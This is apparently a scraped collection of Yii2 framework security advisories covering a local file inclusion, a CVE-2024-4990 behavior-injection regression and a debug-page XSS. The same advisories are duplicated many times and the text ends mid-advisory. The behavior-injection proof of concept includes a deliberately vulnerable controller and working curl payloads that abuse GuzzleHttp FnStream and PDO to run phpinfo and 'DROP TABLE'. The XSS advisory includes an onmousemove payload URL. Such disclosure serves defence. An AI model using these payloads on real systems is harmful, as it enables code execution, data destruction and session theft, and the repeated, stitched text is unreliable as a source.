The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

During the internal penetration testing of our product based on Yii2, we discovered an XSS vulnerability within the framework itself. This issue is relevant for the latest version of Yii2 (2.0.49.3).

Conditions for vulnerability reproduction

• The framework is in debug mode (YII_DEBUG set to true).
• The php.ini setting zend.exception_ignore_args is set to Off (default value).
• An attacker induces an exception in the application, leading to a stack trace page being displayed.

Vulnerability description

The issue lies in the mechanism for displaying function argument values in the stack trace. The vulnerability manifests when an argument's value exceeds 32 characters. For convenience, argument values exceeding this limit are truncated and displayed with an added "...". The full argument value becomes visible when hovering over it with the mouse, as it is displayed in the title attribute of a span tag. However, the use of a double quote (") allows an attacker to break out of the title attribute's value context and inject their own attributes into the span tag, including malicious JavaScript code through event handlers such as onmousemove.

Demonstration example: http://31.184.254.143/about/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%22%20onmousemove=alert(1)%20style=%22width:%20100000px;%20height:%20100000px;%20position:%20absolute;%20top:%20-10000px;%20left:%200;%22

Impact of the vulnerability

This vulnerability allows an attacker to execute arbitrary JavaScript code in the security context of the victim's site via a specially crafted link. This could lead to the theft of cookies (including httpOnly cookies, which are accessible on the page), content substitution, or complete takeover of user accounts.

Technical analysis and mitigation suggestion

Upon analyzing the framework's source code, it was found that data handling for the title attribute is performed in the file framework/web/ErrorHandler.php. The identified problem is related to changes made in the commit https://github.com/yiisoft/yii2/commit/8cc9aeb2f0b2ffe02fb54a817064e9da75512706 , which led to the disabling of encoding for single and double quotes in the htmlEncode method (https://github.com/yiisoft/yii2/blob/8cc9aeb2f0b2ffe02fb54a817064e9da75512706/framework/web/ErrorHandler.php#L183) due to the addition of the ENT_NOQUOTES flag. To address this issue while preserving the functionality intended by the commit, we suggest modifying the htmlEncode method as follows:

    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');

This change will effectively prevent the XSS vulnerability while maintaining the targeted functionality of the previous changes.

Conclusion

Based on the above, we strongly recommend implementing the suggested changes to the project's main code as soon as possible to protect framework users from potential attacks. I am ready to provide further information or assistance, including creating a pull request if necessary.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

During the internal penetration testing of our product based on Yii2, we discovered an XSS vulnerability within the framework itself. This issue is relevant for the latest version of Yii2 (2.0.49.3).

Conditions for vulnerability reproduction

• The framework is in debug mode (YII_DEBUG set to true).
• The php.ini setting zend.exception_ignore_args is set to Off (default value).
• An attacker induces an exception in the application, leading to a stack trace page being displayed.

Vulnerability description

The issue lies in the mechanism for displaying function argument values in the stack trace. The vulnerability manifests when an argument's value exceeds 32 characters. For convenience, argument values exceeding this limit are truncated and displayed with an added "...". The full argument value becomes visible when hovering over it with the mouse, as it is displayed in the title attribute of a span tag. However, the use of a double quote (") allows an attacker to break out of the title attribute's value context and inject their own attributes into the span tag, including malicious JavaScript code through event handlers such as onmousemove.

Demonstration example: http://31.184.254.143/about/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%22%20onmousemove=alert(1)%20style=%22width:%20100000px;%20height:%20100000px;%20position:%20absolute;%20top:%20-10000px;%20left:%200;%22

Impact of the vulnerability

This vulnerability allows an attacker to execute arbitrary JavaScript code in the security context of the victim's site via a specially crafted link. This could lead to the theft of cookies (including httpOnly cookies, which are accessible on the page), content substitution, or complete takeover of user accounts.

Technical analysis and mitigation suggestion

Upon analyzing the framework's source code, it was found that data handling for the title attribute is performed in the file framework/web/ErrorHandler.php. The identified problem is related to changes made in the commit https://github.com/yiisoft/yii2/commit/8cc9aeb2f0b2ffe02fb54a817064e9da75512706 , which led to the disabling of encoding for single and double quotes in the htmlEncode method (https://github.com/yiisoft/yii2/blob/8cc9aeb2f0b2ffe02fb54a817064e9da75512706/framework/web/ErrorHandler.php#L183) due to the addition of the ENT_NOQUOTES flag. To address this issue while preserving the functionality intended by the commit, we suggest modifying the htmlEncode method as follows:

    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');

This change will effectively prevent the XSS vulnerability while maintaining the targeted functionality of the previous changes.

Conclusion

Based on the above, we strongly recommend implementing the suggested changes to the project's main code as soon as possible to protect framework users from potential attacks. I am ready to provide further information or assistance, including creating a pull request if necessary.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

During the internal penetration testing of our product based on Yii2, we discovered an XSS vulnerability within the framework itself. This issue is relevant for the latest version of Yii2 (2.0.49.3).

Conditions for vulnerability reproduction

• The framework is in debug mode (YII_DEBUG set to true).
• The php.ini setting zend.exception_ignore_args is set to Off (default value).
• An attacker induces an exception in the application, leading to a stack trace page being displayed.

Vulnerability description

The issue lies in the mechanism for displaying function argument values in the stack trace. The vulnerability manifests when an argument's value exceeds 32 characters. For convenience, argument values exceeding this limit are truncated and displayed with an added "...". The full argument value becomes visible when hovering over it with the mouse, as it is displayed in the title attribute of a span tag. However, the use of a double quote (") allows an attacker to break out of the title attribute's value context and inject their own attributes into the span tag, including malicious JavaScript code through event handlers such as onmousemove.

Demonstration example: http://31.184.254.143/about/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%22%20onmousemove=alert(1)%20style=%22width:%20100000px;%20height:%20100000px;%20position:%20absolute;%20top:%20-10000px;%20left:%200;%22

Impact of the vulnerability

This vulnerability allows an attacker to execute arbitrary JavaScript code in the security context of the victim's site via a specially crafted link. This could lead to the theft of cookies (including httpOnly cookies, which are accessible on the page), content substitution, or complete takeover of user accounts.

Technical analysis and mitigation suggestion

Upon analyzing the framework's source code, it was found that data handling for the title attribute is performed in the file framework/web/ErrorHandler.php. The identified problem is related to changes made in the commit https://github.com/yiisoft/yii2/commit/8cc9aeb2f0b2ffe02fb54a817064e9da75512706 , which led to the disabling of encoding for single and double quotes in the htmlEncode method (https://github.com/yiisoft/yii2/blob/8cc9aeb2f0b2ffe02fb54a817064e9da75512706/framework/web/ErrorHandler.php#L183) due to the addition of the ENT_NOQUOTES flag. To address this issue while preserving the functionality intended by the commit, we suggest modifying the htmlEncode method as follows:

    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');

This change will effectively prevent the XSS vulnerability while maintaining the targeted functionality of the previous changes.

Conclusion

Based on the above, we strongly recommend implementing the suggested changes to the project's main code as soon as possible to protect framework users from potential attacks. I am ready to provide further information or assistance, including creating a pull request if necessary.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

During the internal penetration testing of our product based on Yii2, we discovered an XSS vulnerability within the framework itself. This issue is relevant for the latest version of Yii2 (2.0.49.3).

Conditions for vulnerability reproduction

• The framework is in debug mode (YII_DEBUG set to true).
• The php.ini setting zend.exception_ignore_args is set to Off (default value).
• An attacker induces an exception in the application, leading to a stack trace page being displayed.

Vulnerability description

The issue lies in the mechanism for displaying function argument values in the stack trace. The vulnerability manifests when an argument's value exceeds 32 characters. For convenience, argument values exceeding this limit are truncated and displayed with an added "...". The full argument value becomes visible when hovering over it with the mouse, as it is displayed in the title attribute of a span tag. However, the use of a double quote (") allows an attacker to break out of the title attribute's value context and inject their own attributes into the span tag, including malicious JavaScript code through event handlers such as onmousemove.

Demonstration example: http://31.184.254.143/about/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%22%20onmousemove=alert(1)%20style=%22width:%20100000px;%20height:%20100000px;%20position:%20absolute;%20top:%20-10000px;%20left:%200;%22

Impact of the vulnerability

This vulnerability allows an attacker to execute arbitrary JavaScript code in the security context of the victim's site via a specially crafted link. This could lead to the theft of cookies (including httpOnly cookies, which are accessible on the page), content substitution, or complete takeover of user accounts.

Technical analysis and mitigation suggestion

Upon analyzing the framework's source code, it was found that data handling for the title attribute is performed in the file framework/web/ErrorHandler.php. The identified problem is related to changes made in the commit https://github.com/yiisoft/yii2/commit/8cc9aeb2f0b2ffe02fb54a817064e9da75512706 , which led to the disabling of encoding for single and double quotes in the htmlEncode method (https://github.com/yiisoft/yii2/blob/8cc9aeb2f0b2ffe02fb54a817064e9da75512706/framework/web/ErrorHandler.php#L183) due to the addition of the ENT_NOQUOTES flag. To address this issue while preserving the functionality intended by the commit, we suggest modifying the htmlEncode method as follows:

    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');

This change will effectively prevent the XSS vulnerability while maintaining the targeted functionality of the previous changes.

Conclusion

Based on the above, we strongly recommend implementing the suggested changes to the project's main code as soon as possible to protect framework users from potential attacks. I am ready to provide further information or assistance, including creating a pull request if necessary.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

During the internal penetration testing of our product based on Yii2, we discovered an XSS vulnerability within the framework itself. This issue is relevant for the latest version of Yii2 (2.0.49.3).

Conditions for vulnerability reproduction

• The framework is in debug mode (YII_DEBUG set to true).
• The php.ini setting zend.exception_ignore_args is set to Off (default value).
• An attacker induces an exception in the application, leading to a stack trace page being displayed.

Vulnerability description

The issue lies in the mechanism for displaying function argument values in the stack trace. The vulnerability manifests when an argument's value exceeds 32 characters. For convenience, argument values exceeding this limit are truncated and displayed with an added "...". The full argument value becomes visible when hovering over it with the mouse, as it is displayed in the title attribute of a span tag. However, the use of a double quote (") allows an attacker to break out of the title attribute's value context and inject their own attributes into the span tag, including malicious JavaScript code through event handlers such as onmousemove.

Demonstration example: http://31.184.254.143/about/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%22%20onmousemove=alert(1)%20style=%22width:%20100000px;%20height:%20100000px;%20position:%20absolute;%20top:%20-10000px;%20left:%200;%22

Impact of the vulnerability

This vulnerability allows an attacker to execute arbitrary JavaScript code in the security context of the victim's site via a specially crafted link. This could lead to the theft of cookies (including httpOnly cookies, which are accessible on the page), content substitution, or complete takeover of user accounts.

Technical analysis and mitigation suggestion

Upon analyzing the framework's source code, it was found that data handling for the title attribute is performed in the file framework/web/ErrorHandler.php. The identified problem is related to changes made in the commit https://github.com/yiisoft/yii2/commit/8cc9aeb2f0b2ffe02fb54a817064e9da75512706 , which led to the disabling of encoding for single and double quotes in the htmlEncode method (https://github.com/yiisoft/yii2/blob/8cc9aeb2f0b2ffe02fb54a817064e9da75512706/framework/web/ErrorHandler.php#L183) due to the addition of the ENT_NOQUOTES flag. To address this issue while preserving the functionality intended by the commit, we suggest modifying the htmlEncode method as follows:

    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');

This change will effectively prevent the XSS vulnerability while maintaining the targeted functionality of the previous changes.

Conclusion

Based on the above, we strongly recommend implementing the suggested changes to the project's main code as soon as possible to protect framework users from potential attacks. I am ready to provide further information or assistance, including creating a pull request if necessary.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

